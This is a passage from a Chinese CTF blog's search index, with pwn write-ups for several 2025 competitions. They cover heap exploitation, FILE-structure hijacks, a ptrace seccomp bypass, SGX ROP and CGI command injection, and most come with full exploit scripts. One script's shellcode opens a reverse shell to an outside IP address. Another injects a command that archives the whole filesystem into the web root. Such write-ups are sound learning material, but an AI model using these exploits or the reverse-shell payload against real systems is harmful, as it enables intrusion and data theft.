[rax+48h].text:0000000000001B40 mov eax, [rbp+var_18].text:0000000000001B43 cdqe.text:0000000000001B45 lea rdx, ds:0[rax*8].text:0000000000001B4D lea rax, unk_5060.text:0000000000001B54 mov rax, [rdx+rax].text:0000000000001B58 mov rdx, r10 ; n.text:0000000000001B5B nop.text:0000000000001B5C mov rsi, rcx ; src.text:0000000000001B5F mov rdi, rax ; dest.text:0000000000001B62 call _memcpy.text:0000000000001B67 jmp short loc_1B9D 其他修复思路学习一下其他师傅的思路将 memcpy 长度 patch 为 0x20 0psu3将read要输入的序列化长度改为2,或者payload长度限制改为<=0x1000改为>0x1000时unpack N0wayBack将调用功能函数的call rdx nop rbp直接把memcpy nop S1nyer 利用思路(复盘)edit中存在堆溢出,篡改tcache fd实现tcache poisioning然后house of apple2 通过 svcudp_reply + swapcontext 转 rop orw 复盘思考比赛时被这个protobuf unpack后的结构体偏移不对折磨死了,比赛后发现 chunk_sizes和heap_chunks_id都是repeated。 12345678syntax="proto3";message HeapPayload { int32 options = 1; repeated int32 chunk_sizes = 2; repeated int32 heap_chunks_id = 3; bytes heap_content = 4;} 12345678910111213struct heap_payload{ ProtobufCMessage base; int options; int chunk_sizes_tag; char chunk_sizes_length; int *chunk_sizes; int heap_chunks_id_tag; char heap_chunks_id_length; void *heap_chunks_id; ProtobufCBinaryData msgcontent;}; 原来在读入序列化payload的时候有栈溢出漏洞啊。 exp (复盘)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199#!/usr/bin/env python3# Link: https://github.com/RoderickChan/pwncli# Usage:# Debug : python3 exp.py debug elf-file-path -t -b malloc# Remote: python3 exp.py remote elf-file-path ip:portfrom pwncli import *import heap_payload_pb2cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc# one_gadgets: list = get_current_one_gadget_from_libc(more=False)CurrentGadgets.set_find_area(find_in_elf=False, find_in_libc=True, do_initial=False)def cmd(i): sla("", i)def add(size, msg): ru('>> ') code = heap_payload_pb2.HeapPayload() code.options = 1 code.chunk_sizes.extend([size]) # code.heap_chunks_id.extend([]) code.heap_content = msg payload = code.SerializeToString() s(p32(len(payload))) s(payload)def edit(idx,size,msg): ru('>> ') code = heap_payload_pb2.HeapPayload() code.options = 3 code.chunk_sizes.extend([size]) code.heap_chunks_id.extend([idx]) code.heap_content = msg payload = code.SerializeToString() s(p32(len(payload))) s(payload) # ......def show(idx): ru('>> ') code = heap_payload_pb2.HeapPayload() code.options = 4 code.heap_chunks_id.extend([idx]) payload = code.SerializeToString() s(p32(len(payload))) s(payload)##def dele(idx): ru('>> ') code = heap_payload_pb2.HeapPayload() code.options = 2 code.heap_chunks_id.extend([idx]) payload = code.SerializeToString() s(p32(len(payload))) s(payload)def ex(): code = heap_payload_pb2.HeapPayload() code.options = 5 payload = code.SerializeToString() s(p32(len(payload))) s(payload)for i in range(5): add(0x410, chr(ord('A')+i).encode())add(0x400, b'H')add(0x400, b'H')add(0x400, b'A')add(0x400, b'B')add(0x400, b'C')# leak libcdele(1)dele(3)edit(0, 0x420, b"A"*0x420)show(0)libc_base = recv_current_libc_addr() - 0x203dd0libc.address = libc_baseleak_ex2(libc_base)edit(0, 0x420, b"A"*0x410 + p64(0) + p64(0x2c1))# leak heapedit(2, 0x430, b"A"*0x430)show(2)heap_base = u64(ru('\\n',True)[-6:].ljust(8, b"\\x00"))leak_ex2(heap_base)edit(2, 0x430, b"A"*0x410 + p64(0) + p64(0x421) + p64(libc_base+0x203f10) + p64(libc_base+0x203f10))# make 2 tcache bin?chunk8 = heap_base - 0x2b00leak_ex2(chunk8)dele(9)dele(8)edit(7, 0x418, b"A"*0x400 + p64(0) + p64(0x411) + p64(protect_ptr(chunk8, libc.sym['_IO_2_1_stdout_'])))add(0x400, b"A")target = libc.sym['system']fake_IO_addr = libc.sym["_IO_2_1_stdout_"] #写入fake_FILE_PLUS结构体的起始位置svcudp_reply = next(libc.search(asm("""mov r12, qword ptr [rdi+0x48]mov rax, qword ptr [r12+0x18]lea r14, qword ptr [r12+0x10]mov dword ptr [r12+0x10], 0mov rdi, r14call qword ptr [rax+0x28]"""),executable=True))swapcontext = next(libc.search(asm("""mov rdx, r12mov rcx, qword ptr[rdx+0xE0]fldenv [rcx]ldmxcsr dword ptr [rdx+0x1C0]mov rsp, qword ptr[rdx+0xA0]mov rbx, qword ptr[rdx+0x80]mov rbp, qword ptr[rdx+0x78]mov r12, qword ptr[rdx+0x48]mov r13, qword ptr[rdx+0x50]mov r14, qword ptr[rdx+0x58]mov r15, qword ptr[rdx+0x60]""")))leak_ex2(svcudp_reply)leak_ex2(swapcontext)pause()FILE = IO_FILE_plus_struct()FILE.flags = b' sh;'FILE._IO_write_base = 0FILE._IO_write_ptr = 1FILE._IO_save_base = fake_IO_addr + 0x40 # svcudp_reply r12FILE._IO_save_end = fake_IO_addr + 0x38 # svcudp_reply raxFILE.markers = swapcontextFILE._lock = libc.bss(0x500) # _lock = a writable addressFILE.chain = svcudp_reply #控制的rip 可system可栈迁移FILE._codecvt = fake_IO_addr #wide_data -> vtableFILE._wide_data = fake_IO_addr - 0x48 #wide_data FILE.vtable = libc.sym['_IO_wfile_jumps']# - 0x20 payload = bytes(FILE)pop_rdi_addr = libc_base + 0x10f75bpop_rsi_addr = libc_base + 0x110a4dpop_rax_addr = libc_base + 0xdd237xchg_eax_edx_addr = libc_base + 0x00000000000b22ae # xchg edx, eax ; mov eax, 0xf7000000 ; ret 0 rops = flat( pop_rdi_addr, fake_IO_addr+0x1d8, pop_rsi_addr, 0, libc.sym['open'], pop_rdi_addr, 3, pop_rsi_addr, libc.bss(0x300), pop_rax_addr, 0x100, xchg_eax_edx_addr, libc.sym['read'], pop_rdi_addr, 1, pop_rsi_addr, libc.bss(0x300), pop_rax_addr, 0x100, xchg_eax_edx_addr, libc.sym['write'])payload = payload_replace(payload, { 0x40+0xa0: fake_IO_addr + 0x40 + 0xe8, # swapcontext rsp 0x40+0xa8: next(libc.search(asm("ret"), executable=True)),# swapcontext rip 0x40+0xe0: libc.bss(0x500), # swapcontext rcx fldenv 0x40+0xe8: rops, 0x1d8: b"/flag\\x00"})add(0x400, payload)ex()ia() post_quantum (复盘)题目功能菜单堆题但是神人加密add: 输入的msg是经过加密的,然后存储解密后的数据到chunkshow: 使用writefree: 指针清空了 漏洞点解密时存在off by oneoff by one 构造 heap overlap 修复思路(复盘)将 sub_1B90() 中两个 free 全 nop 掉 0psu3把函数1B90的三个memset的第三个大小改小就成功修复 N0wayBack expTODOPS:不太想复盘了,只给了公钥没给私钥,要复现得自己生成一个密钥对,纯恶心人","categories":[],"tags":[{"name":"leakless","slug":"leakless","permalink":"https://stackc00ki3.github.io/tags/leakless/"},{"name":"heap overflow","slug":"heap-overflow","permalink":"https://stackc00ki3.github.io/tags/heap-overflow/"},{"name":"fmt","slug":"fmt","permalink":"https://stackc00ki3.github.io/tags/fmt/"},{"name":"off by one","slug":"off-by-one","permalink":"https://stackc00ki3.github.io/tags/off-by-one/"}]},{"title":"TRX CTF 2025 Pwn","slug":"TRXCTF2025","date":"2025-04-08T11:16:49.000Z","updated":"2025-04-24T06:49:13.512Z","comments":true,"path":"2025/04/08/TRXCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/08/TRXCTF2025/","excerpt":"PTRACED","text":"CanonEvent题目功能读入shellcode然后执行 启用了沙盒,规则如下 12345678910 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32 0001: 0x35 0x04 0x00 0x00008000 if (A >= 0x8000) goto 0006 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x02 0x00 0x0000003d if (A == wait4) goto 0006 0004: 0x15 0x01 0x00 0x00000065 if (A == ptrace) goto 0006 0005: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 漏洞点沙盒规则中规定当rip高位大于0x8000时直接ALLOW无视沙盒规则而在syscall trace流程中,ptrace实际在seccomp检查之前 123456789101112131415161718192021222324252627282930313233343536373839static long syscall_trace_enter(struct pt_regs *regs, long syscall, unsigned long work){ long ret = 0; /* * Handle Syscall User Dispatch. This must comes first, since * the ABI here can be something that doesn't make sense for * other syscall_work features. */ if (work & SYSCALL_WORK_SYSCALL_USER_DISPATCH) { if (syscall_user_dispatch(regs)) return -1L; } /* Handle ptrace */ if (work & (SYSCALL_WORK_SYSCALL_TRACE | SYSCALL_WORK_SYSCALL_EMU)) { ret = ptrace_report_syscall_entry(regs); if (ret || (work & SYSCALL_WORK_SYSCALL_EMU)) return -1L; } /* Do seccomp after ptrace, to catch any tracer changes. */ if (work & SYSCALL_WORK_SECCOMP) { ret = __secure_computing(NULL); if (ret == -1L) return ret; } /* Either of the above might have changed the syscall number */ syscall = syscall_get_nr(current, regs); if (unlikely(work & SYSCALL_WORK_SYSCALL_TRACEPOINT)) trace_sys_enter(regs, syscall); syscall_enter_audit(regs, syscall); return ret ? : syscall;} 利用流程先fork一个子进程,子进程开始先int3中断使得主进程能在shellcraft.cat("./flag")前开始TRACE SYSCALL 主进程用PTRACE去TRACE子进程 SYSCALL,trace第一次触发在syscall入口时修改RIP至一个非法高位地址,即可 bypass seccomp检查进行一次系统调用 之后在执行完syscall后再次触发TRACE SYSCALL,此时将RIP设回合法值继续执行即可 exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980#!usr/bin/env python3# Date: 2025-02-22 22:58:26# Link: https://github.com/RoderickChan/pwncli# Usage:# Debug : python3 exp.py debug elf-file-path -t -b malloc# Remote: python3 exp.py remote elf-file-path ip:portfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc# one_gadgets: list = get_current_one_gadget_from_libc(more=False)# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)code = """mov rax, 0x39syscallmov r12, raxcmp rax,0jne parent"""code += shellcraft.ptrace(0, 0, 0, 0)code += """int3"""code += shellcraft.cat("./flag")code += """retparent:"""code+=shellcraft.wait4("r12",0,0,0)code += """continue:"""# syscall前, 修改rip为高值code+=shellcraft.ptrace(0x18,"r12",0,0) #让目标下一个syscall停下来code+=shellcraft.wait4("r12",0,0,0) #等待目标停下来code+=shellcraft.ptrace(12,"r12",0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中code+=''' mov r8,rsp mov r11,qword ptr [r8+0x78]'''code+=''' mov r13, 0x8fffffffffffffff mov r14, qword ptr[r8+0x80] mov qword ptr [r8+0x80], r13'''code+=shellcraft.ptrace(13,"r12","rsp") # 写回内存# syscall后,恢复rip原值code+=shellcraft.ptrace(0x18,"r12",0,0) #让目标下一个syscall停下来code+=shellcraft.wait4("r12",0,0,0) #等待目标停下来code+=shellcraft.ptrace(12,"r12",0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中code+=''' mov r8,rsp mov qword ptr [r8+0x80], r14'''code+=shellcraft.ptrace(13,"r12","rsp") # 写回内存code+=''' jmp continue'''payload = asm(code)ru("code size: ")pause()sl(str(len(payload)))ru("enter shellcode: ")s(payload)ia() VirtualInsanity (复盘)题目功能读入buf然后结束程序 漏洞点_BYTE buf[32];然而读入0x50字节,导致oob写, 栈溢出同时存在后门函数win 利用思路由于没有任何泄露,且返回地址在libc,但栈高位有残留的程序代码段的地址。通过利用vsyscall可以滑动返回地址到程序代码段地址,部分写该地址为后门地址即可。 exp12345678910from pwn import *context.log_level='debug'context.os='linux'context.arch='amd64'p=process('./chall')pl=b'a'*0x28+p64(0xFFFFFFFFFF600000)*2+b'\\xa9'p.sendafter(b'leaks!!!\\n',pl)p.interactive()","categories":[],"tags":[{"name":"seccomp","slug":"seccomp","permalink":"https://stackc00ki3.github.io/tags/seccomp/"},{"name":"ptrace","slug":"ptrace","permalink":"https://stackc00ki3.github.io/tags/ptrace/"},{"name":"vsyscall","slug":"vsyscall","permalink":"https://stackc00ki3.github.io/tags/vsyscall/"}]},{"title":"NCTF2025 Pwn","slug":"NCTF2025","date":"2025-04-07T07:19:59.000Z","updated":"2025-04-07T16:27:31.208Z","comments":true,"path":"2025/04/07/NCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/07/NCTF2025/","excerpt":"what's SGX","text":"unlimited-diary题目功能 add: 对于msg堆块有malloc(size+1) edit: 从meta堆块中取msg堆块的大小,只能读入堆块大小的数据 free:对指针都清零,无漏洞 show: 使用write打印meta堆块存的msg的大小 漏洞点 add:当size为2**32时,会malloc(0),分配0x20的堆块,此时存在meta堆块中的大小为2**32,达成堆溢出 show: write泄露地址 利用思路释放堆块到ub然后再分配出来show实现泄露libc然后利用漏洞点1实现tcache poisoning, 分配到stderr最后house of apple3 + 一骑当千 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143#!/usr/bin/env python3# Link: https://github.com/RoderickChan/pwncli# Usage:# Debug : python3 exp.py debug elf-file-path -t -b malloc# Remote: python3 exp.py remote elf-file-path ip:portfrom pwncli import *cli_script()# gift.io = remote("127.0.0.1", 9999)io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc# one_gadgets: list = get_current_one_gadget_from_libc(more=False)# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)def cmd(i): sa("> ", i)def add(size,msg): cmd('1') ru("Input length:\\n") s(str(size)) ru("Input content:\\n") sl(msg)def edit(idx, msg): cmd('3') ru("Input index:\\n") s(str(idx)) ru("Input content:\\n") sl(msg) #......def show(idx): cmd('4') ru("Input index:\\n") s(str(idx)) ru(b'Content:\\n') #......def dele(idx): cmd('2') ru( "Input index:\\n") s(str(idx)) #......add(0x500, "A") #0add(0x500, "B") #1add(0xFFFFFFFF, "C") #2add(0x400-1, "D") # 3dele(0)dele(1)add(0x500, "\\n") # 0show(0)libc_base = u64(r(8)) - 0x203b00leak_ex2(libc_base)heap_base = u64(r(8))leak_ex2(heap_base)add(0x500, "B") #1libc.address = libc_basepayload = flat( "A"*0x10, 0, 0x21, libc.sym['_IO_2_1_stderr_'], p32(0x500))edit(2, payload)fake_IO_file_addr = libc.sym["_IO_2_1_stderr_"]fake_ucontext_addr = fake_IO_file_addr + 0x100 _IO_wide_data_1 = libc_base + 0x2037e0_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']chunk1 = libc.bss(0x500)# house of apple3fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtablefake_IO_file += p64(0) * 2 + p64(1) fake_IO_file = fake_IO_file.ljust(0x30, b'\\x00')fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = codecvt->__cd_in.stepfake_IO_file = fake_IO_file.ljust(0x78, b'\\x00')fake_IO_file += p64(chunk1) # lockfake_IO_file = fake_IO_file.ljust(0x88, b'\\x00')fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvtfake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变fake_IO_file = fake_IO_file.ljust(0xc8, b'\\x00')fake_IO_file += p64(_IO_wfile_jumps+8) # vtablefake_IO_file = fake_IO_file.ljust(0xf0, b'\\x00')fake_IO_file += p64(0) # fake_ucontext_addrfake_IO_file += p64(0) * 4fake_IO_file += p64(libc.sym['setcontext'])# house of 一骑当千rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addrrsi = 0x1000 rbp = fake_ucontext_addr + 0x100rbx = 0rdx = 7rcx = 0rax = 0rsp = fake_ucontext_addr + 0x100rip = libc.sym['mprotect']ucontext = b''ucontext += p64(0) * 7ucontext += p64(rdi) + p64(rsi)ucontext += p64(rbp) + p64(rbx)ucontext += p64(rdx) + p64(rcx)ucontext += p64(rax)ucontext += p64(rsp) + p64(rip)ucontext = ucontext.ljust((0xe0 - 0x30), b'\\x00')ucontext += p64(chunk1 + 0x1000)ucontext = ucontext.ljust((0x100 - 0x30), b'\\x00')shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm( shellcraft.connect('47.122.69.27',2333,'ipv4')+shellcraft.dupsh())payload = p64(0) + p64(0) + fake_IO_file + ucontext + bytes(shellcode)edit(3, payload)cmd('5')# sleep(3)# io.shutdown('out')ia() unauthwarden-#1(复盘)题目描述获取程序的root密码 题目功能用户注册登录以后有以下功能:1 添加本地msg2 显示本地msg4 将本地msg存储到sgx5 显示sgx中seal后的msgroot密码存储在enclave的bss中 漏洞点 在登录时输出用户名使用的是ecall_print_username:存在格式化字符串漏洞 在 test_app中的add_send_entry函数,对应功能1:由图可知数据长度可控,最大0x2000而在 unauthwarden.signed.so 的 ecall_do_seal_send函数中buffer仅256字节,在将输入的数据拷贝到buffer时存在溢出,造成栈溢出: 利用思路:先通过格式化字符串漏洞泄露pie然后利用ecall_do_seal_send的栈溢出进行ROP,ROP中调用已有的字符串输出函数ocall_print_string实现输出 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101#!/usr/bin/env python3# Link: https://github.com/RoderickChan/pwncli# Usage:# Debug : python3 exp.py debug elf-file-path -t -b malloc# Remote: python3 exp.py remote elf-file-path ip:portfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc# one_gadgets: list = get_current_one_gadget_from_libc(more=False)# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)def cmd(i): sa(">> ", i)def login(user, passwd): cmd('1') ru("Enter username: ") s(user) ru("Enter password: ") s(passwd) #......def reg(user,passwd): cmd('2') ru("Enter username: ") s(user) ru("Enter password: ") s(passwd)def add_send(msg): cmd('4') ru('Input your data length to seal: ') s(str(len(msg))) ru('batch):') for i in range(0, len(msg), 256): chunk = msg[i:i + 256] s(chunk) ru('(y/n):') sl('y')user = b"%10$p"passwd = b"ABC"reg(user,passwd)login(user,passwd)ru('Welcome back, ')pie = int(ru('\\n',True), 16)pie = pie - 0x292000root_passwd = pie + 0x11a000leak_ex2(pie)leak_ex2(root_passwd)pause()# asm_oret = pie + 0x11257E# asm_oret = pie + 0x010F43Aocall_print_string = pie + 0x28A0# rsp = pie + 0x271a88pop_rdi_ret = pie + 0x0000000000001261## leak_ex2(asm_oret)leak_ex2(ocall_print_string)leak_ex2(pop_rdi_ret)# leak_ex2(rsp)bp = pie+0x1e1dleak_ex2(bp)## ocall_context = flat({# 8*11: flat(# rsp+21*8, # rbp# root_passwd # rdi# ),# 0x98: rsp-0x20# },filler=b"\\x00").ljust(18*8, b"\\x00")## payload = flat(# "A"*256,# "AAAAAAAA",# asm_oret,# ocall_context,# 0,# ocall_print_string# )payload = flat( "A"*0x118, pop_rdi_ret, root_passwd, ocall_print_string)pause()add_send(payload)# add_send("A"*256+"B"*0x10)ia()","categories":[],"tags":[{"name":"house of apple 3 + 一骑当千","slug":"house-of-apple-3-一骑当千","permalink":"https://stackc00ki3.github.io/tags/house-of-apple-3-%E4%B8%80%E9%AA%91%E5%BD%93%E5%8D%83/"},{"name":"integer overflow","slug":"integer-overflow","permalink":"https://stackc00ki3.github.io/tags/integer-overflow/"},{"name":"heap overflow","slug":"heap-overflow","permalink":"https://stackc00ki3.github.io/tags/heap-overflow/"},{"name":"sgx","slug":"sgx","permalink":"https://stackc00ki3.github.io/tags/sgx/"},{"name":"ROP","slug":"ROP","permalink":"https://stackc00ki3.github.io/tags/ROP/"}]},{"title":"TPCTF 2025 pwn","slug":"TPCTF2025","date":"2025-04-07T05:06:52.000Z","updated":"2025-04-07T07:14:41.106Z","comments":true,"path":"2025/04/07/TPCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/07/TPCTF2025/","excerpt":"web + pwn = ?","text":"where is my rop利用思路login.cgi 在登录时使用POST和login.cgi交互,其中Authorization头格式是username:加密的password,载荷是session id。 在login.cgi中会使用libCgi.so中的send_cmd函数和basement使用socket交互,但调用函数之前有检查: session id长度要是24,这里直接按正常流程GET cgi-bin/gen_enc?id获取session id。 header中Authorization的值取”Basic “后的检查:要在base64加密字符集内 漏洞点:在login.cgi中main函数对Authorization请求头解析时对内容长度的限制非常宽松,允许最大0x400长度的base64密文输入,而base64解码后存储的位置仅0x200大小,存在溢出,可以篡改_BYTE opcode全局变量 base64解密后检查是否有三个冒号分隔,且各个分段长度不超过0x80。 检查通过以后会调用send_cmd函数 由以上条件可知auth_parms一定得是类似Basic AAAA:BBBB:CCCC:DDDD的格式才能执行到send_cmd与basement交互 send_cmd函数功能是向basement监听的/tmp/tpctf.sock建立socket连接并传输这几个参数send_cmd定义如下: 1char *__fastcall send_cmd(int opcode, int length, char *payload) 第一个参数代表了要访问basement的功能编号 第二个是payload长度 第三个是指向payload的指针 basementbasement的main函数先读取opcode,然后是length,最后payload , 然后按照opcode调用分别的功能函数 由于我们能完全控制opcode,可以指定调用1-12任意的功能函数 1-5 sqlite3数据库操作 6-9 iperf3, ping, traceroute 命令执行,存在命令注入 10-12 假装使用acme.sh注册证书命令执行, 题目中的acme.sh其实是一个空的脚本文件 所有命令注入的位置都使用isSafeCommandArg()过滤字符 12345from ctypes import *l = CDLL("./libCgi.so")for i in range(0x1, 0x7f): if l.isSafeCommandArg(chr(i)): print(chr(i)), end="") 使用脚本获取的允许的字符集如下: 1\\r\\t!"#%'()*+,-./0123456789:=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]_abcdefghijklmnopqrstuvwxyz{}~% 禁用了所有的管道符、分号、换行等,不能在原指令基础上另起一个新的指令,只能试着改程序的参数 其中iperf3可以传输文件,但是机器不出网,无法连接到服务器端口但iperf3有可以输出文件的选项 1--logfile f send output to a log file 与此同时还支持自定义日志每行最左端时间戳的样式,使得日志每行开头都可控,注入指令后利用#注释可以将无关部分去除,实现给指定文件写入任意shell指令 1--timestamps<=format> emit a timestamp at the start of each output line 10-12 功能运行了acme.sh这个sh脚本,考虑先用功能6将要执行的shell指令写入acme.sh,再使用功能10运行acme.sh 尝试 cp /*flag* /var/www/html/flag,本地成功但远程访问/flag时404,怀疑flag文件名有改动,使用 1tar -zcvf /var/www/html/flag.tar --exclude=/proc --exclude=/sys / 将根目录下除过滤的目录外全部压缩,然后浏览器访问/flag.tar下载即可得到flag远程flag文件名被改成了the_flaG_is_here056480436103548697634文件名中的G大写导致了之前没有成功复制文件 exp123456789101112131415161718192021222324252627282930313233343536373839import requestsimport base64session = requests.Session()rl = "61.147.171.105:54863"# rl = "127.0.0.1"# 获取session id url = f"http://{rl}/cgi-bin/gen_enc?id"response = session.get(url)id = response.text.replace("<html><body>","").replace("</body></html>", "")def login(opcode, auth_parms): url = f"http://{rl}/cgi-bin/login.cgi?login" data = "id=" + id auth_parms = auth_parms.ljust(0x200, b"\\x00") auth_parms += bytes([opcode]) + b"\\x61" auth_parms = base64.b64encode(auth_parms).decode() headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic " + auth_parms } response = session.post(url, data=data, headers=headers) login_result = response.headers['X-Redirect-URL'] print(login_result) print(f"状态码: {response.status_code}") print()# 向acme.sh注入指令:压缩根目录所有文件auth_parms = b"2.1.1.1:1234 --logfile /root/.acme.sh/acme.sh --timestamps=\\"tar -zcvf /var/www/html/flag.tar --exclude=/proc --exclude=/sys / #\\":CCCC:DDDD\\x00"login(0x6, auth_parms)# 触发执行acme.shauth_parms = b"AAAA:BBBB:CCCC:DDDD\\x00"login(0xb, auth_parms)","categories":[],"tags":[{"name":"bof","slug":"bof","permalink":"https://stackc00ki3.github.io/tags/bof/"},{"name":"cgi","slug":"cgi","permalink":"https://stackc00ki3.github.io/tags/cgi/"},{"name":"命令注入","slug":"命令注入","permalink":"https://stackc00ki3.github.io/tags/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/"}]},{"title":"HellCTF 2025 Pwn&Re","slug":"HellCTF2025","date":"2025-04-07T02:44:43.000Z","updated":"2025-04-07T15:26:44.601Z","comments":true,"path":"2025/04/07/HellCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/04/07/HellCTF2025/","excerpt":"CMWL: show 1次, dele 2次,write泄露","text":"PwnCMWL题目功能 add: 使用calloc添加0x418 ~ 0x550的堆块 dele: 悬挂指针 show: 使用write,无截断show 1次机会dele 2次机会 使用沙盒,禁用execve libc版本: Ubuntu GLIBC 2.36-0ubuntu4 利用思路有 uaf ,可以通过把堆块放入 large bin 就可以通过 show 同时泄露出 libc 地址和堆地址,消耗一次 free 因为堆块 size 限制在 large bin 范围,考虑 large bin attack 任意写堆地址,消耗一次free 因为没有堆块头部,没法直接house of apple2 -> system使用 house of apple3 + 一骑当千的板子 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163#!/usr/bin/env pythonfrom pwncli import *filename = "pwn_patched"libcname = "/home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6_2.36-0ubuntu4_amd64/lib/x86_64-linux-gnu/libc.so.6"host = "nc1.ctfplus.cn"port = 44260elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname: libc = ELF(libcname)gs = """b mainb _IO_wfile_underflowset debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6-dbg_2.36-0ubuntu4_amd64/usr/lib/debugset directories /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/glibc-source_2.36-0ubuntu4_all/usr/src/glibc/glibc-2.36"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)inter = lambda: p.interactive()# Your exploit heredef cmd(i): sla("choice: \\n", i)def add(idx, size, msg): cmd("1") ru("=>\\n") s(str(idx)) ru("=>\\n") s(str(size)) ru("=>\\n") s(msg)def edit(idx, msg): cmd("3") ru("=>\\n") s(str(idx)) ru("=>\\n") s(msg)def show(idx): cmd("4") ru("=>\\n") s(str(idx))def dele(idx): cmd("2") ru("=>\\n") s(str(idx))p.recvrepeat(0.5)s("y")ru(b"\\x1B[0m")ru(b"\\x1B[0m")sl("A" * 5)add(0, 0x428, "AAA")add(1, 0x500, "AAA")add(2, 0x418, "AAA")add(3, 0x500, "AAA")dele(0)# show(0)add(4, 0x500, "B")show(0)libc_base = u64(p.recvuntil(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 0x1f70b0 libc.address = libc_baseleak_ex2(libc_base)ru(b'\\x00\\x00')ru(b'\\x00\\x00')fake_io_file = u64(r(6).ljust(8, b'\\x00')) + 0x940leak_ex2(fake_io_file)edit(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))dele(2)add(5, 0x500, "C")fake_IO_file_addr = fake_io_filechunk1 = libc.bss(0x300)fake_ucontext_addr = fake_IO_file_addr + 0x100 _IO_wide_data_1 = libc_base + 0x1f6980_IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + 8# house of apple3fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtablefake_IO_file += p64(0) * 2 + p64(1) fake_IO_file = fake_IO_file.ljust(0x30, b'\\x00')fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = codecvt->__cd_in.stepfake_IO_file = fake_IO_file.ljust(0x78, b'\\x00')fake_IO_file += p64(chunk1 + 0x300) # lockfake_IO_file = fake_IO_file.ljust(0x88, b'\\x00')fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvtfake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变fake_IO_file = fake_IO_file.ljust(0xc8, b'\\x00')fake_IO_file += p64(_IO_wfile_jumps) # vtablefake_IO_file = fake_IO_file.ljust(0xf0, b'\\x00')fake_IO_file += p64(0) # fake_ucontext_addrfake_IO_file += p64(0) * 4fake_IO_file += p64(libc.sym['setcontext'])# house of 一骑当千rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addrrsi = 0x1000 rbp = fake_ucontext_addr + 0x100rbx = 0rdx = 7rcx = 0rax = 0rsp = fake_ucontext_addr + 0x100rip = libc.sym['mprotect']ucontext = b''ucontext += p64(0) * 7ucontext += p64(rdi) + p64(rsi)ucontext += p64(rbp) + p64(rbx)ucontext += p64(rdx) + p64(rcx)ucontext += p64(rax)ucontext += p64(rsp) + p64(rip)ucontext = ucontext.ljust((0xe0 - 0x30), b'\\x00')ucontext += p64(chunk1 + 0x1000)ucontext = ucontext.ljust((0x100 - 0x30), b'\\x00')shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('/flag'))payload = fake_IO_file + ucontext + bytes(shellcode)edit(2, payload)pause()cmd('5')p.interactive()","categories":[],"tags":[{"name":"uaf","slug":"uaf","permalink":"https://stackc00ki3.github.io/tags/uaf/"},{"name":"calloc","slug":"calloc","permalink":"https://stackc00ki3.github.io/tags/calloc/"},{"name":"orw","slug":"orw","permalink":"https://stackc00ki3.github.io/tags/orw/"},{"name":"house of apple 3 + 